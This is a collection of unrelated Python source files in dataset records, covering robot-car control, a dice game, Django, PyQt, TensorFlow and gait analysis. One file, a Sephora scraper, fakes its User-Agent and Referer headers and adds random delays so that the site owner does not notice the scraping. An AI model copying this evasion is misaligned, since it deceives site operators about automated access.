> 0.40:\n\t\treturn tup.index(max(tup))\n\telse:\n\t\treturn -1\n\n\nvs = PiVideoStream().start()\ntime.sleep(2.0)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\n\nap = argparse.ArgumentParser()\nap.add_argument('-s','--stream', required=False, help='stream on/off', default='on')\nap.add_argument('-m','--model', required=False, help='path to model', default='./model.h5')\nargs =vars(ap.parse_args())\n\nstop_cascade = cv2.CascadeClassifier('stop_sign.xml')\nstream = 0\n\nmodel_path = args['model']\nif(args['stream'] == 'on'):\n\tstream = 1\n\nprint('[INFO] loading model...')\nmodel = load_model(model_path)\ncount_a, count_b, count_c = 0,0,0\ncontrols = {'forward':forward, 'left':left, 'right':right, 'reverse':reverse}\ny = 'forward'\nstop = 0\nx = 'forward'\nwhile True:\n\tsignal.alarm(1)\n\ttry:\n\t\tdist = distance()\n\texcept TimeoutException :\n\t\tcontinue\n\telse:\n\t\tsignal.alarm(0)\n\t\tif(dist >= 25):\n\t\t\tstop = 0\n\t\t\t#controls[x](0.1)\n\t\t\tframe = vs.read()\n\t\t\tframe_gray = frame\n\t\t\tif(stream == 1):\n\t\t\t\tcascade_obj = stop_cascade.detectMultiScale(frame_gray,scaleFactor=1.1,minNeighbors=5,minSize=(30, 30))\n\t\t\t#frame = imutils.resize(frame, width=640)\n\t\t\timage = frame[0:160,0:320]\n\t\t\timage = imutils.resize(image, width=320)\n\t\t\t#image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # convert to gray scale\n\t\t\t#cv2.imshow('gray', image)\n\t\t\timage = np.stack((image,)*3,-1)\n\t\t\timage = cv2.GaussianBlur(image, (3,3),0) # blurs the image\n\t\t\t#cv2.imshow('processed', image)\n\t\t\timage = cv2.resize(image, (32,32))\n\t\t\timage = image.astype('float')/255.0\n\t\t\timage = img_to_array(image)\n\t\t\timage = np.expand_dims(image, axis=0)\n\t\t\tprob = model.predict(image)[0]\n\t\t\tprint(prob)\n\t\t\ti = maxIndex(prob)\n\t\t\tif(i == 0):\n\t\t\t\tprint('forward')\n\t\t\t\tx = 'forward'\n\t\t\t\tcount_a += 1\n\t\t\telif(i == 1):\n\t\t\t\t#controls['forward'](0.1)\n\t\t\t\tprint('left')\n\t\t\t\tx = 'left'\n\t\t\t\tcount_b += 1\n\t\t\telif(i == 2):\n\t\t\t\t#controls['forward'](0.1)\n\t\t\t\tprint('right')\n\t\t\t\t#print(prob[2])\n\t\t\t\tx = 'right'\n\t\t\t\t'''if(prob[2] == 1):\n\t\t\t\t\t#print(prob[2])\n\t\t\t\t\tcontrols['right'](0.1)\n\t\t\t\tif((x == y) and (prob[2] - prob[0] <= 0.2)):\n\t\t\t\t\tx = 'forward'\n\t\t\t\telse:\n\t\t\t\t\tx = 'right' '''\n\t\t\t\tcount_c += 1\n\n\t\t\tif(i != -1):\n\t\t\t\t'''if((x == 'right') and (prob[2] != 1)):\n\t\t\t\t\tcontrols[x](0.05)\n\t\t\t\telse:\n\t\t\t\t\tcontrols[x](0.1)\n\t\t\t\t'''\n\t\t\t\tcontrols[x](0.1)\n\t\t\t\ty = x\n\n\t\t\tif(stream == 1):\n\t\t\t\tfor (x_pos, y_pos, width, height) in cascade_obj:\n\t\t\t\t\tcv2.rectangle(frame, (x_pos+5, y_pos+5), (x_pos+width-5, y_pos+height-5), (255, 255, 255), 2)\n\t\t\t\t\t#v = y_pos + height - 5\n\t\t\t\t\tif width/height == 1:\n\t\t\t\t\t\tcv2.putText(frame, 'STOP', (x_pos, y_pos-10), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)\n\n\t\t\t\tcv2.imshow('frame', frame)\n\n\t\telif(stop == 0):\n\t\t\tstop = 1\n\t\t\tprint('remove obstacle in front, Dist: '+str(dist))\n\tkey = cv2.waitKey(1) & 0xFF\n\tif key == ord('q'):\n\t\tprint('break')\n\t\tbreak\n\nvs.stop()\nquit()\n","sub_path":"testing/autocontrolnew.py","file_name":"autocontrolnew.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"50035335","text":"__author__ = 'screamer'\n# dye\nimport random\n\nprint('--// HIGH ROLLER \\\\\\\\--')\nprint('Welcome to High Roller')\n\ndef rollOne():\n input('Press ENTER to roll!')\n print('Rolling...\\n')\n r = random.randrange(1,6)\n print('[{}]\\n'.format(r))\n print('Congrats!\\n')\n again = input('Roll again? ')\n if again.lower() in ('y', 'ye', 'yep', 'yes', 'yeah'):\n main()\n else:\n print('Thanks for playing!')\n\ndef rollTwo():\n input('Player 1, press ENTER to roll!')\n print('Player 1 rolling...\\n')\n o = random.randrange(1, 6)\n print('[{}]\\n'.format(o))\n input('Player 2, press ENTER to roll!\\n')\n t = random.randrange(1, 6)\n print('[{}]\\n'.format(t))\n if o > t:\n print('Player 1 wins!\\n')\n elif o < t:\n print('Player 2 wins!\\n')\n else:\n print('Tie!')\n again = input('Roll again? ')\n if again.lower() in ('y', 'ye', 'yep', 'yes', 'yeah'):\n main()\n else:\n print('Thanks for playing!')\n\ndef main():\n players = int(input('1 or 2 Players? '))\n if players == 1:\n rollOne()\n elif players == 2:\n rollTwo()\n else:\n print('Only 1 or 2 players, please!')\n\nmain()\n\n\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"259069379","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render, redirect\nfrom .forms import *\n\ndef cria_categoria(request):\n if request.method == 'POST':\n form = FormCategorias(request.POST)\n if form.is_valid():\n form.save()\n redirect('/')\n else:\n form = FormCategorias()\n return render(request, \"categorias/cria-categoria.html\", {'form':form})\n","sub_path":"app_categorias/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"442187384","text":"#!/bin/env python\n\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Sephora scrape: Gloria W: aagg@comcast.net\n#\n# This scrapes with random delays (to simulate human page traversal, so we\n# don't catch the attention of the site owner). Delays can be turned off\n# by setting human_click_delays=False\n#\n# Output is stored in a month-day-year_hour-minute-second named CSV file.\n#\n# Caveats: \n#\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nimport os\nimport sys\nimport errno\nimport urllib\nimport urllib2\nimport pprint\nimport re\nimport csv\nimport time\nimport random\nfrom decimal import Decimal\nfrom datetime import datetime\nfrom BeautifulSoup import BeautifulSoup\n\nfrom utils import unescape\n\nclass ScrapeORama(object):\n\t#<<<<<<<<<<<< Tunable parameters <<<<<<<<<<<<<<<<<<<<<<<<<<<\n\thuman_click_delays=False\n\tbase_page = 'http://sephora.com/browse/product.jhtml?id=%(prod)s&categoryId=%(cat)s'\n\tprod_cat_file = 'prod_cat.txt' # a CSV list of products and categories to prevent dup scrapes.\n\tprod_details_file = '_prod_details' # a CSV list of product details\n\tfake_user_agent = 'Mozilla/5.0'\n\tfake_referrer = 'http://sephora.com/browse/section.jhtml?categoryId=%(category_id)s'\n\tout_dir = os.path.join('.','generated_output','csv_output')\n\tdebug = True\n\t#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\tdef __init__(self):\n\n\t\tself.outfile_name = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n\t\tself.outfile_csv = os.path.join(self.out_dir,self.outfile_name + '.csv')\n\t\tself.open_outfile_csv = None\n\n\t\t'''\n\t\tCreate the output directory. Crash and burn if it fails.\n\t\tIgnore complaints if it already exists.\n\t\t'''\n\t\ttry:\n\t\t\tos.makedirs(self.out_dir)\n\t\texcept OSError as exc: # Python >2.5\n\t\t\tif exc.errno == errno.EEXIST:\n\t\t\t\tpass\n\t\t\telse: raise\n\n\t\t'''\n\t\tRead known prod/cat list, to prevent dup scrapes.\n\t\t'''\n\t\tself.prod_cat_dict = {}\n\t\ttry:\n\t\t\tself.open_prod_cat_file = open(self.prod_cat_file,'rw+')\n\t\t\tfor s in self.open_prod_cat_file.readlines():\n\t\t\t\ts = re.sub('\\n','',s)\n\t\t\t\tprod_id,cat_id = s.split(',')\n\t\t\t\tself.prod_cat_dict[prod_id] = cat_id # category will be duplicated\n\n\t\texcept IOError:\n\t\t\t\"\"\"\n\t\t\tFirst run: create the file.\n\t\t\t\"\"\"\n\t\t\tself.open_prod_cat_file = open(self.prod_cat_file,'w+')\n\n\tdef reopen_csv(self):\n\t\tself.outfile_name = datetime.now().strftime(\"%Y%m%d_%H%M%S\") + self.prod_details_file\n\t\tself.outfile_csv = os.path.join(self.out_dir,self.outfile_name + '.csv')\n\t\tself.open_outfile_csv = csv.writer(open(self.outfile_csv,'w'),delimiter='|')\n\t\tself.open_outfile_csv.writerow(['New','Exclusive','Limited_Edition','Image','BrandId','Name','Value','Desc_is','Desc_does','Contents','Avg_rating','FB_likes'])\n\n\tdef __del__(self):\n\t\tself.open_prod_cat_file.close()\n\n\tdef _special_open(self,url):\n\t\tself.randomClickDelay()\n\t\trequest = urllib2.Request(url)\n\t\topener = urllib2.build_opener()\n\t\trequest.add_header('Referer', self.fake_referrer)\n\t\trequest.add_header('User-agent', self.fake_user_agent)\n\t\treturn opener.open(request).read()\n\n\tdef randomClickDelay(self):\n\t\t\"\"\"\n\t\tSleep for a few secods, to make it look like human behavior.\n\t\t\"\"\"\n\t\tif self.human_click_delays:\n\t\t\ttime.sleep(random.randint(2,15))\n\n\tdef checkProdCatDict(self,prod,cat):\n\t\t\"\"\"\n\t\tWe may already have the product.\n\t\tIf not, add it to the prod_cat file\n\t\t\"\"\"\n\t\tif prod not in self.prod_cat_dict:\n\t\t\tself.prod_cat_dict[prod] = cat\n\t\t\tself.open_prod_cat_file.write('%s,%s\\n' % (prod,cat))\n\t\t\treturn False\n\t\treturn True\n\t\t\t\t\t\n\tdef findProdCat(self,prod,cat):\n\t\tnewp = False\n\t\tlimited_edition = False\n\t\texclusive = False\n\t\timage=None\n\t\tbrand_id=None\n\t\tname=None\n\t\tdesc=None\n\t\twhat_it_is=None\n\t\twhat_it_does=None\n\t\tthe_rest=None\n\t\tif not self.checkProdCatDict(prod,cat):\n\t\t\tself.fake_referrer = 'http://sephora.com/browse/section.jhtml?categoryId=%(cat)s' % locals()\n\t\t\tbase_page = BeautifulSoup(self._special_open(self.base_page % locals()))\n\t\t\tall_hrefs = base_page.findAll('a')\n\t\t\tall_images = base_page.findAll('img')\n\t\t\tall_spans = base_page.findAll('span')\n\t\t\tall_bs = base_page.findAll('b')\n\t\t\ttry:\n\t\t\t\tif 'href' in all_hrefs and 'brandId' in a['href']:\n\t\t\t\t\tbrand_id=urllib.unquote(re.search('brandId=(.*)',a['href']).group(1))\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\tfor a in all_images:\n\t\t\t\ttry:\n\t\t\t\t\tif 'icon_new.gif' in a['src']:\n\t\t\t\t\t\tnewp=True\n\t\t\t\t\telif 'icon_limitedEdition.gif' in a['src']:\n\t\t\t\t\t\tlimited_edition = True\n\t\t\t\t\telif 'icon_onlyAtSephora.gif' in a['src']:\n\t\t\t\t\t\texclusive = True\n\t\t\t\t\telif 'hero' in a['src']:\n\t\t\t\t\t\timage = a['src']\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\tfor a in all_spans:\n\t\t\t\ttry:\n\t\t\t\t\tif 'copy12' in a['class']:\n\t\t\t\t\t\tname = a['b']\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\tfor a in all_bs:\n\t\t\t\ttry:\n\t\t\t\t\tif 'What it is:' in a.text:\n\t\t\t\t\t\tw = re.search('(.*)(What it is:)(.*)(What it does:)(.*\\.)(.*)',a.parent.text)\n\t\t\t\t\t\tdesc = w.group(1)\n\t\t\t\t\t\twhat_it_is = w.group(3)\n\t\t\t\t\t\twhat_it_does = w.group(5)\n\t\t\t\t\t\tthe_rest = w.group(6)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\tself.WriteToCSV(newp,exclusive,limited_edition,image,brand_id,name,None,desc,what_it_is,what_it_does,the_rest,None,None)\n\t\t\t\n\t\t\t\n\n\tdef WriteToCSV(self,newp,exclusive,limited_edition,image,brand_id,name,value,desc,desc_is,desc_does,contents,avg_rating,fb_likes):\n\t\tif not self.open_outfile_csv:\n\t\t\tself.reopen_csv()\n\t\tself.open_outfile_csv.writerow(\n\t\t\t[\n\t\t\t\tnewp,\n\t\t\t\texclusive,\n\t\t\t\tlimited_edition,\n\t\t\t\timage,\n\t\t\t\tbrand_id,\n\t\t\t\tname,\n\t\t\t\tvalue,\n\t\t\t\tdesc,\n\t\t\t\tdesc_is,\n\t\t\t\tdesc_does,\n\t\t\t\tcontents,\n\t\t\t\tavg_rating,\n\t\t\t\tfb_likes\n\t\t\t]\n\t\t)\n\n\nif __name__ == '__main__':\n\tx = ScrapeORama()\n\tx.findProdCat('P298332','C12180')\n\tx.findProdCat('P278610','C12180')\n\tx.findProdCat('P296443','B15')\n\n","sub_path":"web_scraping/sephora_scrape/sephora_scrape.py","file_name":"sephora_scrape.py","file_ext":"py","file_size_in_byte":5590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"556425451","text":"# encoding: utf-8\n\nfrom django.core.management import BaseCommand\nimport pytest\n\n\n@pytest.mark.unit_test\ndef test_true():\n assert True\n\n\n@pytest.mark.integration_test\n@pytest.mark.django_db\ndef test_system_check():\n \"\"\"\n Performs the Django system check.\n \"\"\"\n base_command = BaseCommand()\n system_check_errors = base_command.check()\n assert not system_check_errors\n\n\n@pytest.mark.functional_test\ndef test_home_title(browser):\n \"\"\"\n Checks title \"Home\" in the home page.\n \"\"\"\n browser.visit('localhost:8000')\n title = browser.title\n browser.quit()\n assert title.lower() == 'home'\n","sub_path":"src/main/test/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"572437043","text":"import useful_functions, queue\nfrom PyQt5 import QtCore, QtWidgets, QtGui\n\nclass item_box(QtWidgets.QGroupBox):\n\n def __init__(self, graphs: dict, item_name: str, eventQueue: queue.Queue) -> None:\n super(item_box, self).__init__()\n self.graphs = graphs\n self.eventQueue = eventQueue\n self.item_name = item_name\n self.setObjectName(\"itemBox\")\n self.setup()\n\n def setup(self) -> None:\n self.setFixedSize(300, 300)\n self.setSizePolicy(QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed))\n\n # create layout\n self.box_layout = QtWidgets.QGridLayout(self)\n\n self.nameLabel = QtWidgets.QLabel(self.item_name)\n self.nameLabel.setObjectName(\"nameLabel\")\n # self.setGeometry(0, 0, 300, 50)\n self.box_layout.addWidget(self.nameLabel, 0, 0, 1, 2)\n\n qImage = useful_functions.qimage_of_item(self.item_name)\n item_image = QtWidgets.QLabel()\n item_image.setFixedSize(100, 100)\n item_image.setText(\"\")\n item_image.setPixmap(QtGui.QPixmap.fromImage(qImage))\n item_image.setScaledContents(True)\n item_image.setObjectName(\"item_image\")\n self.box_layout.addWidget(item_image, 1, 0)\n\n # percentage (if the price went up or down)\n self.percentage = QtWidgets.QLabel()\n self.percentage.setObjectName(\"percentage\")\n self.percentage.setFixedSize(75, 25)\n self.percentage.setAlignment(QtCore.Qt.AlignCenter)\n self.percentage.setText(\"percentage\")\n self.percentage.setProperty(\"rising\", True)\n self.box_layout.addWidget(self.percentage, 2, 0)\n\n # create a label that will display the price per unit\n self.ppu = QtWidgets.QLabel()\n self.ppu.setObjectName(\"ppu\")\n self.ppu.setText(\"Price Per Unit\")\n self.box_layout.addWidget(self.ppu, 1, 1)\n\n # current instant buy quantity\n self.buys = QtWidgets.QLabel()\n self.buys.setObjectName(\"buys\")\n self.buys.setText(\"buys\")\n self.box_layout.addWidget(self.buys, 2, 1)\n\n # current instant sell quantity\n self.sells = QtWidgets.QLabel()\n self.sells.setObjectName(\"sells\")\n self.sells.setText(\"sells\")\n self.box_layout.addWidget(self.sells, 2, 2)\n\n self.box_layout.addWidget(self.graphs[self.item_name], 3, 0, 2, 0)\n\n def updateBox(self, dataset: dict) -> None:\n self.ppu.setText(dataset['ppu'])\n self.buys.setText(dataset['buys'])\n self.sells.setText(dataset['sells'])\n self.percentage.setText(dataset['percentage'])\n\n # set percentage propert\n if float(dataset['percentage']) < 0:\n self.percentage.setProperty(\"rising\", False)\n else:\n self.percentage.setProperty(\"rising\", True)\n\n def mousePressEvent(self, event: QtGui.QMouseEvent):\n if event.button() == QtCore.Qt.LeftButton:\n self.eventQueue.put({'EVENT': 'BOXCLICK', 'ARGS': [self.item_name]})\n","sub_path":"Random Python Projects/Hypixel Skyblock/GUI/Widgets/itembox.py","file_name":"itembox.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"446320361","text":"\r\ndef transformar_lista(archivo):\r\n with open(archivo, 'r', encoding=\"utf-8\") as f:\r\n lineas = [linea.split(\",\") for linea in f]\r\n for linea in lineas:\r\n linea[len(linea)-1] = linea[len(linea)-1].strip(\"\\n\")\r\n return lineas\r\n\r\ndef asignar_valores(lista):\r\n barco = lista[0]\r\n Mvto = lista[1]\r\n ID = lista[2].split('_')\r\n numero = ID[1]\r\n tipo = ID[2]\r\n print(f'el barco {barco}, su Mvto {Mvto}, su numero {numero}, tipo {tipo}')\r\n\r\nlista_de_lista = transformar_lista('lista_container_enviado.csv')\r\n\r\nfor lista in lista_de_lista:\r\n asignar_valores(lista)","sub_path":"JupyterNotebooks/leer_csv/recorrer_csv.py","file_name":"recorrer_csv.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"509079167","text":"class Student:\n def __init__(self,name,surname,age,arr):\n self.name=name\n self.surname=surname\n self.age=age\n self.arr=arr\n def mijin(self,arr):\n a=0\n b=0\n for i in arr:\n a+=i\n b+=1\n return a/b","sub_path":"basic/student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"548187346","text":"import requests\r\nimport json\r\nprint(\"Enter a number between 5 and 20\")\r\nnum=input()\r\niterator=num\r\nadviceList=[] #will append the advices returned from api\r\narr=[]\r\ndef randData(iterator):\r\n rows, cols = (int(iterator), 2)\r\n for i in range(rows):\r\n response_API = requests.get('https://api.adviceslip.com/advice')\r\n data = response_API.text\r\n parse_json=json.loads(data)\r\n id=parse_json['slip']['id']\r\n advice=parse_json['slip']['advice']\r\n col = []\r\n for j in range(1):\r\n col.append(id)\r\n col.append(advice)\r\n arr.append(col)\r\n arr.sort()\r\n for l in range(len(arr)):\r\n adviceList.append(arr[l][1])\r\n print(arr)\r\nwhile(int(num)<5 or int(num)>20):\r\n print(\"Enter a number between 5 and 20\")\r\n num=input()\r\nif(int(num)>=5 and int(num)<=20):\r\n randData(num)","sub_path":"part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"208117607","text":"import tensorflow as tf\n\n\ndef l2_regularisation(network):\n \"\"\"\n Network -> tf.Node\n Return a network that calculates the mean L2 loss of the\n parameters in the network.\n \"\"\"\n variables = network.get_variables()\n variable_counts = network.feed([tf.size(variable) \\\n for variable in variables], {})\n total_count = sum(variable_counts)\n individual_l2s = [(count / total_count) * tf.reduce_mean(tf.square(variable)) \\\n for count, variable in zip(variable_counts, variables)]\n return tf.reduce_mean(individual_l2s, name=network.extend_name('l2'))\n","sub_path":"wise/training/regularisation.py","file_name":"regularisation.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"471299028","text":"import math\n\nfrom sklearn import svm\nfrom ezc3d import c3d\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport random\nimport pandas as pd\nimport openpyxl\nimport Datafiting\nimport xlrd\nimport xlwt\nimport xlutils\nimport os\nimport copy\n\ndef produce(str,kk,left,right):\n a = [([0] * 3) for i in range(kk)]\n t1 = [[0] for i in range(kk)]\n t2 = [[0] for i in range(kk)]\n t3 = [[0] for i in range(kk)]\n L = np.empty([1, kk * 3], dtype=float)\n k = used_label[str]\n p=random.randint(left,right)\n #print(\"p=\",p)\n for i in range(kk):\n frame = point_data[:, :, i]\n x = frame[0, :]\n y = frame[1, :]\n z = frame[2, :]\n # print(\"x[1]=\",x[1],\"i=\",i)\n if (math.isnan(x[k])): # 这个函数来判断数值是否是NaN\n x[k] = 0;\n y[k] = 0;\n z[k] = 0\n a[i] = [x[k], y[k], z[k]]\n t1[i] = x[k]+p\n t2[i] = y[k]\n t3[i] = z[k]\n #print(\"order=\",i,\" \",x[k],y[k],z[k])\n L[0, i * 3] = x[k]+p\n L[0, i * 3 + 1] = y[k]\n L[0, i * 3 + 2] = z[k]\n #print(L.shape)\n #print(L[0,0])\n return L\n\ndef locate(str,kk):\n a = [([0] * 3) for i in range(kk)]\n t1 = [[0] for i in range(kk)]\n t2 = [[0] for i in range(kk)]\n t3 = [[0] for i in range(kk)]\n L = np.empty([1, kk * 3], dtype=float)\n k = used_label[str]\n print(\"k=\",k)\n start=0\n flag=True\n maxinum=0\n minimum=99999\n for i in range(kk):\n frame = point_data[:, :, i]\n x = frame[0, :]\n y = frame[1, :]\n z = frame[2, :]\n # print(\"x[1]=\",x[1],\"i=\",i)\n if (math.isnan(x[k])): # 这个函数来判断数值是否是NaN\n x[k] = 0\n y[k] = 0\n z[k] = 0\n else:\n if(flag):\n start=i\n flag=False\n print(\"start=\",start)\n a[i] = [x[k], y[k], z[k]]\n t1[i] = x[k]\n t2[i] = y[k]\n t3[i] = z[k]\n if t3[i]maxinum:\n maxinum=t3[i]\n #print(\"order=\",i,\" \",x[k],y[k],z[k],t3[i])\n L[0, i * 3] = x[k]\n L[0, i * 3 + 1] = y[k]\n L[0, i * 3 + 2] = z[k]\n maxima_values = [0 for i in range(kk)]\n m=-1\n maxima_values_order=-1\n minima_values = [0 for i in range(kk)]\n minima_values_order=-1\n dividing_line=(maxinum+minimum)/2\n print(\"dividing_line=\",dividing_line)\n boundary=[]\n for i in range(start+1,kk-1):\n if (t3[i-1]t3[i+1]) and (t3[i]>dividing_line):\n maxima_values_order+=1\n maxima_values[maxima_values_order]=i\n if (t3[i-1]>t3[i]left):\n left2=minima_values[j]\n left2_order=j\n #print(\"left2=\",left2,\"left=\",left)\n break\n #print(\"left2=%d\" % (left2))\n l_min_r=9999\n l_min_r_order=-1\n for j in range(left2_order,minima_values_order+1):\n print(\"j=\",j)\n if(minima_values[j]t3[minima_values[j]]):\n l_min_r=t3[minima_values[j]]\n l_min_r_order=minima_values[j]\n print(\"l_min_r_order=\",l_min_r_order)\n if(l_min_r_order!=-1):\n boundary.append(l_min_r_order)\n print(\"分界点索引:%d ;z坐标:%f\" % (l_min_r_order,t3[l_min_r_order]))\n\n print(boundary)\n #print(\"t3=\",t3[721])\n # print(L.shape)\n # print(L[0,0])\n return boundary\n\nif __name__ == '__main__':\n #path =r\"E:\\PythonProjects\\pythonproject1\\gujian20210519\\Cal 08.c3d\"\n #path=\"1Cal 25.c3d\"\n #path=\"01_01.c3d\"\n #path =r\"E:\\PythonProjects\\pythonproject1\\dengzhongmei\\dzm20201202\\Cal 03.c3d\"\n path=r\"E:\\data\\data\\dzm\\Cal 07.c3d\"\n #path=r\"E:\\data\\data\\tx\\Cal 13.c3d\"\n str1 = 'dzmCal 07.csv'\n c=c3d(path)\n print(c['parameters']['POINT'])\n #print(len(c['parameters']['POINT']['LABELS']))\n used_label = {\"LASI\":0, \"RASI\":0, \"LPSI\":0,\"RPSI\":0 ,\"LTHI\":0,\"RTHI\":0,\"LKNE\":0,\"RKNE\":0,\"LTIB\":0,\"RTIB\":0,\"LANK\":0,\"RANK\":0,\"LHEE\":0,\"RHEE\":0,\"LTOE\":0,\"RTOE\":0}\n label_keys = used_label.keys()\n labels = c['parameters']['POINT']['LABELS']['value']\n point_data = c['data']['points']\n ordernum=0\n print(type(labels))\n print(labels)\n for x in labels:\n #print(type(labels))\n #print(ordernum)\n for label in label_keys:\n if (label==x):\n #print(x)\n #print(\"used_label.before=\",used_label[x])\n used_label[x]=ordernum\n #print(\"used_label.after=\",used_label[x])\n ordernum+=1\n #print(\"ordernum=\",ordernum)\n length=len(point_data)\n print(\"length=\",length)\n kk=0\n for x in point_data[1,1,:]:\n kk+=1\n print(\"数据帧总数=\",kk)\n a=[([0] * 3)for i in range(kk)]\n t1=[[0] for i in range(kk)]\n t2=[[0] for i in range(kk)]\n t3=[[0] for i in range(kk)]\n L = np.empty([117, kk * 3], dtype=float)\n k=used_label['RKNE']\n for i in range(kk):\n frame = point_data[:, :, i]\n x = frame[0, :]\n y = frame[1, :]\n z = frame[2, :]\n #print(\"x[1]=\",x[1],\"i=\",i)\n if (math.isnan(x[k])): #这个函数来判断数值是否是NaN\n x[k]=0; y[k]=0; z[k]=0\n a[i]=[x[k],y[k],z[k]]\n t1[i] = x[k]\n t2[i] = y[k]\n t3[i] = z[k]\n #print(\"order=\",x[k],y[k],z[k])\n L[116,i*3]=x[k]\n L[116,i*3+1]=y[k]\n L[116,i*3+2]=z[k]\n print(\"type(L)=\",L.shape)\n #print(L[0,1])\n\n print(random.randint(30,50))\n LL=locate(\"RHEE\", kk)\n LL2=locate(\"LHEE\",kk)\n print(\"boundary=\",LL)\n print(\"boundary=\",LL2)\n LLL=np.array(LL)\n k = used_label['RHEE']\n datat1 = [[0] for i in range(kk)]\n datat2 = [[0] for i in range(kk)]\n datat3 = [[0] for i in range(kk)]\n for i in range(kk):\n frame = point_data[:, :, i]\n x = frame[0, :]\n y = frame[1, :]\n z = frame[2, :]\n # print(\"x[1]=\",x[1],\"i=\",i)\n if (math.isnan(x[k])): # 这个函数来判断数值是否是NaN\n x[k] = 0;\n y[k] = 0;\n z[k] = 0\n datat1[i] = x[k]\n datat2[i] = y[k]\n datat3[i] = z[k]\n '''\n for i in range(300,304):\n print(\"datat3[%d]=%f\" % (i,datat3[i]))\n datat3[i]=0\n '''\n\n #print(LLL.shape)\n\n writer = pd.ExcelWriter(\"E:\\PythonProjects\\pythonproject1\\gait_analysis\\data2.xlsx\",engine='openpyxl')\n for i in range(LLL.shape[0]-1):\n az = []\n for j in range(LLL[i],LLL[i+1]):\n if(datat3[j]==0):\n #ttt=datafit(datat3,j-10,j+20)\n ttt=Datafiting.datafit(datat3,LLL[i],LLL[i+1])\n for k in range(LLL[i],LLL[i+1]):\n #print((ttt[k-LLL[i]+1]),datat3[k])\n datat3[k]=ttt[k-LLL[i]]\n break\n for j in range(LLL[i], LLL[i + 1]):\n az.append(datat3[j])\n df=pd.DataFrame(az,index=None)\n df = pd.DataFrame(df.values.T, index=df.columns, columns=df.index)\n #print(\"df=\", df)\n\n df.to_excel(writer, index=False, sheet_name=\"data2\")\n writer.save() # to_excel方法\n\n filename=r\"E:\\PythonProjects\\pythonproject1\\gait_analysis\\data2.xlsx\"\n print(\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n num=0\n for i in range(LLL.shape[0] - 1):\n #xyz=[[0]*cols for xyzi in range(rows)]\n xuhao = 0\n for name in used_label:\n xuhao += 1\n num+=3\n print(\"name=\", name, \"索引=\", used_label[name], \"序号=\", xuhao)\n print(\" 第%d个步态周期\"%(i+1))\n k = used_label[name]\n xt1 = [[0] for i in range(kk)]\n yt2 = [[0] for i in range(kk)]\n zt3 = [[0] for i in range(kk)]\n for i2 in range(kk):\n frame = point_data[:, :, i2]\n x = frame[0, :]\n y = frame[1, :]\n z = frame[2, :]\n # print(\"x[1]=\",x[1],\"i=\",i)\n if (math.isnan(x[k])): # 这个函数来判断数值是否是NaN\n x[k] = 0;\n y[k] = 0;\n z[k] = 0\n xt1[i2] = x[k]\n yt2[i2] = y[k]\n zt3[i2] = z[k]\n for j in range(LLL[i], LLL[i + 1]):\n if (zt3[j] == 0):\n ttt = Datafiting.datafit(zt3, LLL[i], LLL[i + 1])\n for ii in range(LLL[i], LLL[i + 1]):\n # print((ttt[k-LLL[i]+1]),datat3[k])\n zt3[ii] = ttt[ii - LLL[i]]\n break\n for j in range(LLL[i], LLL[i + 1]):\n if (xt1[j] == 0):\n ttt = Datafiting.datafit(xt1, LLL[i], LLL[i + 1])\n for ii in range(LLL[i], LLL[i + 1]):\n # print((ttt[k-LLL[i]+1]),datat3[k])\n xt1[ii] = ttt[ii - LLL[i]]\n break\n for j in range(LLL[i], LLL[i + 1]):\n if (yt2[j] == 0):\n ttt = Datafiting.datafit(yt2, LLL[i], LLL[i + 1])\n for ii in range(LLL[i], LLL[i + 1]):\n # print((ttt[k-LLL[i]+1]),datat3[k])\n yt2[ii] = ttt[ii - LLL[i]]\n break\n xyzx=[]\n xyzy=[]\n xyzz=[]\n for j in range(LLL[i], LLL[i + 1]):\n xyzx.append(xt1[j])\n xyzy.append(yt2[j])\n xyzz.append(zt3[j])\n xyzx=np.array(xyzx)\n\n dataframe=pd.DataFrame(xyzx,index=None)\n 